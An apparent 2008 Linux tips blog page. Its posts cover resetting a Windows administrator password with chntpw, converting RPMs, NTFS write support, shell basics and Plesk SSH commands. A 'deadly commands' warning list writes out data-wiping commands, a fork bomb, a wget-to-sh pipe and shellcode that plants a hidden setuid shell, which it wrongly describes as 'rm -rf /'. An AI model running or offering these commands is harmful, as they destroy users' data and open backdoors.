Logo Background RSS

» Linux

  • Hacking Windows Administrator Password (with good intentions) Using Linux
    By sps on October 29th, 2008 | No Comments Comments

    In case you or a friend of yours has forgotten his/her Windows administrator password, there’s no need to panic as you can easily hack it by resetting the password provided you have the right tools. One way to do this is to use Linux as your knight in shining armor.

    I’m going to show you how you can smoothly hack a Windows Administrator password using Linux. You will only need a Live CD, and for this example, we will utilize Ubuntu. Also, I assume that you have the basic knowledge on using the Linux command line.

    Now let’s start hacking:

    The first thing you have to do is of course load your Ubuntu Live CD. You don’t have to install it, just boot straight into the desktop. Then, install a program called ‘chntpw’:

    $ sudo apt-get install chntpw

    After successfully installing ‘chntpw’, you have to access the Windows NTFS partition by mounting it and allowing read/write support. A good tutorial on how to do this can be found HERE.

    After that, use your command line skills by navigating to ‘WINDOWS/system32/config’.

    Once inside the ‘config’ directory, issue this command:

    $ sudo chntpw SAM

    A long display of information will follow. Just ignore them.

    Once you are prompted to reset the password, it is recommended to leave the password blank with an asterisk *. Reboot, and you can now login to freakin’ Windows.

  • Installing RPM Packages on Ubuntu
    By admin on October 29th, 2008 | 1 Comment1 Comment Comments

    If you happen to have .rpm file package that you would like to install on your Ubuntu machine, you will have to convert that file to .deb first for it to be installed. How will you do it? –Use the package converter application called “alien”.

    package manager

    package manager

    From the project’s website:

    Alien is a program that converts between the rpm, dpkg, stampede slp, and slackware tgz file formats. If you want to use a package from another distribution than the one you have installed on your system, you can use alien to convert it to your preferred package format and install it.

    Despite the large version number, alien is still (and will probably always be) rather experimental software. It has been used by many people for many years, but there are still many bugs and limitations.

    You can get alien through Synaptic Package Manager or via the command line:

    $sudo apt-get install alien

    After you have installed alien, you can now start converting your .rpm files.

    To convert .rpm file to .deb using the command line, first you have to go to the directory where you saved your .rpm file. Assuming it’s on your desktop:

    $cd ~/Desktop

    Then, convert the .rpm file to .deb with this command:

    $sudo alien –k rpm-file-name.rpm

    After that, you can now install the .deb file in Ubuntu using a Debian package installer or with this command:
    $sudo dpkg –i deb-file-name.deb

    It’s worth noting that “alien” can also convert other kinds of packages, so you may want to check out its mapage for instructions.

  • Win NTFS Partitions R/W support made easy in Ubuntu
    By sps on October 29th, 2008 | 1 Comment1 Comment Comments

    This program allow you to easily configure all of your NTFS devices to allow write support via a friendly gui. For that use, it will configure them to use the open source ntfs-3g driver. You’ll also be able to easily disable this feature.

    Current Stable 0.5.5

    Project Home page :- http://flomertens.free.fr/ntfs-config/

    Requirements

    windows with Feisty dual-boot installation and external Hard Disk (Optional)

    Install NTFS-config in Ubuntu Feisty

    Now You can install NTFS-config from Ubuntu Feisty repositories

    sudo apt-get install ntfs-config

    This will install all the required packages for ntfs-config including ntfs-3g

    Using Ntfs-Config

    If you want to open this application go to Applications—>System Tools—>NTFS Configuration Tool

    Now it will prompt for root password enter root password and click ok

    It will show the available NTFS partition as follows in this example /dev/sda1 in NTFS partition

    You need to select the partitions you want to configure,add the name of the mount point and click on apply.In this example i have ticked the check box next to /dev/sda1 and click under mount enter the name you want to use i have entered as windows now the mount point showing as /media/windows and click on apply.

    Select the NTFS Write support which is suitable for you i.e internal or external

    In this example i have tick the check box next to Enable write support for internal device because i am using dualboot with windows.If you are using external hard drive select external option and click on ok

    Once it finished you should see the mount point on your desktop as follows

    You can see the windows mount point files as follows

    If you want to unmount you should be root to unmount and then right click on mount point select Unmount Volume

  • Fear of Linux (CLI)
    By sps on October 29th, 2008 | 1 Comment1 Comment Comments

    Fear is a painful emotion by the expectation of evil, or the apprehension of impending danger; anxiety; solicitude; alarm; dread; like our fear of ghosts and zombies as a child, and our fear of failure and death as an adult. I’m here to help Linux newbies defeat their fear, but not the kind of fear that I was talking about. Instead, I’m here to assist those who are suffering from CLI-phobia, or the “fear of Command Line Interface”. I will list some indispensable commands and keyboard shortcuts with their corresponding functions to guide the fearful in their journey to conquer the horror of using the Linux terminal..

    Essential Commands:

    Commands – Functions

    Directory navigation

    Pwd – “Print working directory” – show what dir you’re in.

    ls – List the contents of a dir.

    ls –l – List the contents of a dir and show additional info of the files.

    ls –a – List all files, including hidden files.

    cd – Change directory.

    cd – Go to the parent directory.

    Examining files

    file – Determine the type of a file.

    cat – Concatenate a file.

    less – View text files and paginate them if needed.

    Manipulating files and directories

    p – Copy a file.

    cp –i – Copy a file and ask before overwriting.

    cp –r – Copy a directory with its contents.

    mv – Move or rename a file.

    mv –i – Move or rename a file and ask before overwriting.

    rm – Remove a file.

    rm –r – Remove a directory with its contents.

    rm –i – Ask before removing a file. Good to use with the -r option.

    mkdir – Make a directory.

    rmdir – Remove an empty directory.


    Essential Keyboard Shortcuts:

    Ctrl + Alt + F1
    Switch to the first virtual terminal. In Linux, you can have several virtual terminals at the same time. The default is 6.

    Ctrl + Alt + Fn
    Switch to the nth virtual terminal. Because the number of virtual terminals is 6 by default, n = 1…6.

    tty
    Typing the tty command tells you what virtual terminal you’re currently working in.

    Ctrl + Alt + F7
    Switch to the GUI. If you have X Window System running, it runs in the seventh virtual terminal by default. If X isn’t running, this terminal is empty.

    Ctrl + Alt + +
    Switch to the next resolution in the X Window System. This works if you’ve configured more than one resolution for your X server. Note that you must use the + in your numpad.

    Ctrl + Alt + -
    Switch to the previous X resolution. Use the – in your numpad.

    MiddleMouseButton
    Paste the highlighted text. You can highlight the text with your left mouse button (or with some other highlighting method, depending on the application you’re using), and then press the middle mouse button to paste. This is the traditional way of copying and pasting in the X Window System, but it may not work in some X applications.

    If you have a two-button mouse, pressing both of the buttons at the same time has the same effect as pressing the middle one. If it doesn’t, you must enable 3-mouse-button emulation.

    This works also in text terminals if you enable the gpm service.

    Ctrl + Alt + Backspace
    Kill the X server. Use this if X crashes and you can’t exit it normally. If you’ve configured your X Window System to start automatically at bootup, this restarts the server and throws you back to the graphical login screen.

    Home or Ctrl + a
    Move the cursor to the beginning of the current line.

    End or Ctrl + e
    Move the cursor to the end of the current line.

    Alt + b
    Move the cursor to the beginning of the current or previous word. Note that while this works in virtual terminals, it may not work in all graphical terminal emulators, because many graphical applications already use this as a menu shortcut by default.

    Alt + f
    Move the cursor to the end of the next word. Again, like with all shortcuts that use Alt as the modifier, this may not work in all graphical terminal emulators.

    Tab
    Autocomplete commands and file names. Type the first letter(s) of a command, directory or file name, press Tab and the rest is completed automatically! If there are more commands starting with the same letters, the shell completes as much as it can and beeps. If you then press Tab again, it shows you all the alternatives.

    This shortcut is really helpful and saves a lot of typing! It even works at the lilo prompt and in some X applications.

    Ctrl + u
    Erase the current line.

    Ctrl + k
    Delete the line from the position of the cursor to the end of the line.

    Ctrl + w
    Delete the word before the cursor.

    Shift + PageUp
    Scroll terminal output up.

    Shift + PageDown
    Scroll terminal output down.

    clear
    The clear command clears all previously executed commands and their output from the current terminal.

    Ctrl + l
    Does exactly the same as typing the clear command.

    reset
    If you mess up your terminal, use the reset command. For example, if you try to cat a binary file, the terminal starts showing weird characters. Note that you may not be able to see the command when you’re typing it.

    history
    When you type the history command, you’ll see a list of the commands you executed previously.

    ArrowUp or Ctrl + p
    Scroll up in the history and edit the previously executed commands. To execute them, press Enter like you normally do.

    ArrowDown or Ctrl + n
    Scroll down in the history and edit the next commands.

    Ctrl + r
    Find the last command that contained the letters you’re typing. For example, if you want to find out the last action you did to a file called “file42.txt”, you’ll press Ctrl + r and start typing the file name. Or, if you want to find out the last parameters you gave to the “cp” command, you’ll press Ctrl + r and type in “cp”.

    Ctrl + c
    Kill the current process.

    Ctrl + z
    Send the current process to background. This is useful if you have a program running, and you need the terminal for awhile but don’t want to exit the program completely. Then just send it to background with Ctrl+z, do whatever you want, and type the command fg to get the process back.

    Ctrl + d
    Log out from the current terminal. If you use this in a terminal emulator under X, this usually shuts down the terminal emulator after logging you out.

    Ctrl + Alt + Del
    Reboot the system. You can change this behavior by editing /etc/inittab if you want the system to shut down instead of rebooting.

  • 7 Deadly Linux Commands
    By sps on October 29th, 2008 | No Comments Comments

    If you are new to Linux, chances are you will meet a stupid person perhaps in a forum or chat room that can trick you into using commands that will harm your files or even your entire operating system. To avoid this dangerous scenario from happening, I have here a list of deadly Linux commands that you should avoid.

    1. Code:


    rm -rf /

    This command will recursively and forcefully delete all the files inside the root directory.

    2. Code:

    char esp[] __attribute__ ((section(“.text”))) /* e.s.p
    release */
    = “xebx3ex5bx31xc0x50x54x5ax83xecx64x68″
    “xffxffxffxffx68xdfxd0xdfxd9x68x8dx99″
    “xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7″
    “x56x04xf7x56x08xf7x56x0cx83xc4x74x56″
    “x8dx73x08x56x53x54x59xb0x0bxcdx80x31″
    “xc0x40xebxf9xe8xbdxffxffxffx2fx62x69″
    “x6ex2fx73x68x00x2dx63x00″
    “cp -p /bin/sh /tmp/.beyond; chmod 4755
    /tmp/.beyond;”;

    This is the hex version of [rm -rf /] that can deceive even the rather experienced Linux users.

    3. Code:

    mkfs.ext3 /dev/sda

    This will reformat or wipeout all the files of the device that is mentioned after the mkfs command.

    4. Code:

    :( ){:|:&};:

    Known as forkbomb, this command will tell your system to execute a huge number of processes until the system freezes. This can often lead to corruption of data.

    5. Code:

    any_command > /dev/sda

    With this command, raw data will be written to a block device that can usually clobber the filesystem resulting in total loss of data.

    6. Code:

    wget http://some_untrusted_source -O- | sh

    Never download from untrusted sources, and then execute the possibly malicious codes that they are giving you.

    7. Code:

    mv /home/yourhomedirectory/* /dev/null

    This command will move all the files inside your home directory to a place that doesn’t exist; hence you will never ever see those files again.

  • Common SSH Commands
    By admin on September 17th, 2008 | 2 Comments2 Comments Comments

    This is a list of Common commands that can be run from root / SSH access.

    I. Basic Commands

    A. Retrieve Plesk Admin Password

    cat /etc/psa/.psa.shadow

    B. Change Directory (cd)

    cd /path/to/directory/

    C. Listing Files/SubFolders (ls)

    ls -alh

    (files and subfolders listed with perms in human-readable sizes)

    D. Checking Processes

    ps -a top -c

    (process viewer – Ctrl+C to exit)

    ps -auxf

    (process list)

    E. Start/Stop Services

    /etc/init.d/<service> start|stop|restart|status

    (“/etc/init.d/httpd stop” stops apache)

    F. Check Bean Counters (hard and soft limits, failcounts, etc.)

    cat /proc/user_beancounters

    II. File System Commands (df & du are (dv)-only commands)

    A. Check Total Disk Usage

    df

    (gives physical disk usage report with % used)

    B. List Files/Folders +Sizes (du)

    du

    (lists all filesizes. This will take some time.)

    du -sh

    (lists all the subfolders/sizes in a dir)

    C. Remove/Delete Files (rm /path/to/filename.htm) -DANGER- always verify

    rm -vf

    (force-deletes file. Dont run unless you know EXACTLY what you’re doing)

    rm -vrf

    (force deletes folder and all subfolders and files)

    To Remove a Directory you can use the following command:

     rmdir  

    D. Copy Files (cp)

    cp filename.abc /new/path/filename.abc.123
    

    E. Move Files (mv)

    mv filename.abc /new/path/filename.abc.123
    

    F. Create Empty File (touch)

    touch filename.123

    III. File Permissions and Ownership

    A. Change Permissions of files (chmod)

    chmod 000 filename.abc

    (defaults are usually 755 for folders, 644 for files)

    TIP:

    1st digit=Owner; 2nd=Group; 3rd=Other
    (-rwxrwxwrx = 777, -rwxr-xr-x = 755, -rw-r–r– = 644, etc.)
    7 = Read + Write + Execute
    6 = Read + Write
    5 = Read + Execute
    4 = Read
    3 = Write + Execute
    2 = Write
    1 = Execute
    0 = All access denied

    B. Change Ownership of files (chmown)

    chown user:group filename.abc

    (you can see user and group w/ ls -alh)

    TIP:

    Anytime a user creates a file, the Ownership of the file matches that user. In Plesk, every domain that has hosting has a different user. So if you are copying files from one domain to another, you must remember to change ownership.

    IV. Checking Log Files (dv)

    Log files can tell you a lot about whats going on on a (dv). You can use the command:
    ‘tail -n 100′ before the logfile name to list the last 100 entries of the logfile.

    Here are some of the most common:

    A. Main Error Log

    /var/log/messages

    B. Apache Error Log

    /var/log/httpd/error_log

    (main)

    /home/httpd/vhosts/mt-example.com/statistics/logs/error_log

    (per-domain) (May also be: /var/www/vhosts on newer dvs)

    C. MySQL Logs

    /var/log/MySQLd.log
    

    D. Mail Logs

    /usr/local/psa/var/log/maillog

    NOTE:

    Common issues to look out for in log files

    • The main error log will not always give you all the information you want for a svc.
    • You may see alot of failed SSH and FTP connections, that is generally normal.
    • Keep an eye out for MaxClients errors in the Apache logs if a customer is complaining of Apache dying alot. You can check the KB for raising MaxClients settings.
    • If a customer does not set up Log Rotation for a domain under Plesk, then Log Files will build up and may take up alot of unneeded space. You can usually delete old log files in Plesk, and change the Log Rotation to Daily instead of by size.
    • MailLogs can show you if a customer is spamming, or if mail is coming in or out.
    • MySQL Logs should be able to show you general MySQL errors such as bad connections, or corrupted tables. Check the Int. KB for the ‘myisamchk -r’ repair table command.

    V. Advanced Commands

    A. Find. You can do alot with find. for now lets find all files over 10MB.

    cd /
    find / -type f -size +10000k -exec ls -lh {} \; | awk '{ print $5 ": " $9 }' |sort -n
    

    B. Grep. Another handy tool to get specific information

    cat file | grep blah

    (only lists the information where the word blah is found)

    C. Less/More

    less filename.abc 

    (displays the content of a file. arrows to scroll, ‘q’ to quit.)

    more == same thing basically. You can use the ‘| more’ command to scroll through something page or line at a time.

    tail -n 1000 /var/log/httpd/error_log | more

    VI. Vi is a basic text editor.

    Careful what keys you hit while in vi.

    vi /path/to/filename.abc

    TIP:

    You can learn more about using the VI/VIM text editor by reading the following guide: